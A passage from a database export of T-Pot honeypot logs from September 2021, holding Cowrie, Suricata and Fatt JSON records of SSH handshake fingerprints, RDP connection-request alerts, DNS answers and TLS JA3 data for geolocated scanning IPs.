"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60210, "dest_port": 22, "timestamp": "2021-09-20T12:10:21.213765", "@timestamp": "2021-09-20T12:10:21.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	UA
35784	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:10:22.789104+03	2021-09-20 15:15:03.712692+03	{"_id": "awYdA3wBvYTbRNuER16X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:22.714777+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1132080267192345, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 22797, "dest_port": 3389, "timestamp": "2021-09-20T12:10:22.789104Z", "@timestamp": "2021-09-20T12:10:22.789Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35785	81.71.14.9	109.199.241.180	Suricata	2021-09-20 15:10:20.328353+03	2021-09-20 15:15:03.713691+03	{"_id": "WQYdA3wBvYTbRNuEP17E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "flow_id": 131539718089622, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55976, "dest_port": 22, "timestamp": "2021-09-20T12:10:20.328353Z", "@timestamp": "2021-09-20T12:10:20.328Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35786	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:10:21.17625+03	2021-09-20 15:15:03.715691+03	{"_id": "YwYdA3wBvYTbRNuEQl6O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e82d228bb528", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:10:21.176250Z", "@timestamp": "2021-09-20T12:10:21.176Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	UA
35787	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:10:21.214354+03	2021-09-20 15:15:03.71672+03	{"_id": "ZAYdA3wBvYTbRNuEQl6P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e82d228bb528", "@version": "1", "timestamp": "2021-09-20T12:10:21.214354Z", "@timestamp": "2021-09-20T12:10:21.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	UA
35788	91.200.124.7	109.199.241.180	Suricata	2021-09-20 15:10:21.213678+03	2021-09-20 15:15:03.71769+03	{"_id": "ZwYdA3wBvYTbRNuEQ16u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 164885844267514, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60210, "dest_port": 22, "timestamp": "2021-09-20T12:10:21.213678Z", "@timestamp": "2021-09-20T12:10:21.213Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	UA
35789	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:21.178363+03	2021-09-20 15:15:03.71872+03	{"_id": "aAYdA3wBvYTbRNuERF6s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60210, "timestamp": "2021-09-20T12:10:21.178363", "@timestamp": "2021-09-20T12:10:21.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35790	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:10:22.511039+03	2021-09-20 15:15:03.720721+03	{"_id": "agYdA3wBvYTbRNuERl53", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "e82d228bb528", "@version": "1", "duration": 1.3351118564605713, "timestamp": "2021-09-20T12:10:22.511039Z", "@timestamp": "2021-09-20T12:10:22.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	UA
35791	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:10:22.846664+03	2021-09-20 15:15:03.721717+03	{"_id": "bAYdA3wBvYTbRNuER16X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:22.714777+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "87.251.67.120", "flow_id": 1132080267192345, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 22797, "timestamp": "2021-09-20T12:10:22.846664Z", "@timestamp": "2021-09-20T12:10:22.846Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35792	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:10:22.920215+03	2021-09-20 15:15:03.723691+03	{"_id": "dwYdA3wBvYTbRNuES16A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:22.714777+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1132080267192345, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 22797, "dest_port": 3389, "timestamp": "2021-09-20T12:10:22.920215Z", "@timestamp": "2021-09-20T12:10:22.920Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35793	157.240.9.53	109.199.241.180	Suricata	2021-09-20 15:10:15.074926+03	2021-09-20 15:15:03.724691+03	{"_id": "OwYdA3wBvYTbRNuELF45", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:14.752115+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 264}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.53", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.53", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1925730093398515, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 47436, "timestamp": "2021-09-20T12:10:15.074926Z", "@timestamp": "2021-09-20T12:10:15.074Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35794	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:15.658135+03	2021-09-20 15:15:03.726691+03	{"_id": "QAYdA3wBvYTbRNuELV58", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36166, "dest_port": 443, "timestamp": "2021-09-20T12:10:15.658135", "@timestamp": "2021-09-20T12:10:15.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35795	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:10:16.270284+03	2021-09-20 15:15:03.72769+03	{"_id": "RQYdA3wBvYTbRNuEMF4j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9980, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2058, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1470143585065395, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40583, "timestamp": "2021-09-20T12:10:16.270284Z", "@timestamp": "2021-09-20T12:10:16.270Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35796	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:10:16.365233+03	2021-09-20 15:15:03.72869+03	{"_id": "RwYdA3wBvYTbRNuEMV4h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36168, "timestamp": "2021-09-20T12:10:16.365233", "@timestamp": "2021-09-20T12:10:16.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35797	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:10:20.047977+03	2021-09-20 15:15:03.73069+03	{"_id": "VQYdA3wBvYTbRNuEPl6l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f7603ab72756", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:10:20.047977Z", "@timestamp": "2021-09-20T12:10:20.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
45334	192.168.20.103	109.199.241.180	Suricata	2021-09-20 16:43:49.02295+03	2021-09-20 16:45:02.811593+03	{"_id": "oQZyA3wBvYTbRNuE1qxg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:43:49.022950Z", "@timestamp": "2021-09-20T13:43:49.022Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35798	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:10:12.112463+03	2021-09-20 15:15:03.73169+03	{"_id": "MAYdA3wBvYTbRNuEH15h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "8af6019e4aae", "@version": "1", "timestamp": "2021-09-20T12:10:12.112463Z", "@timestamp": "2021-09-20T12:10:12.112Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35799	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:10:11.834724+03	2021-09-20 15:15:03.733689+03	{"_id": "MgYdA3wBvYTbRNuEH15j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "8af6019e4aae", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:10:11.834724Z", "@timestamp": "2021-09-20T12:10:11.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35800	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:10:12.111747+03	2021-09-20 15:15:03.734691+03	{"_id": "MwYdA3wBvYTbRNuEIF6A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 13606358052993, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2319, "dest_port": 22, "timestamp": "2021-09-20T12:10:12.111747Z", "@timestamp": "2021-09-20T12:10:12.111Z", "event_type": "ssh", "t-pot_ip_ext": 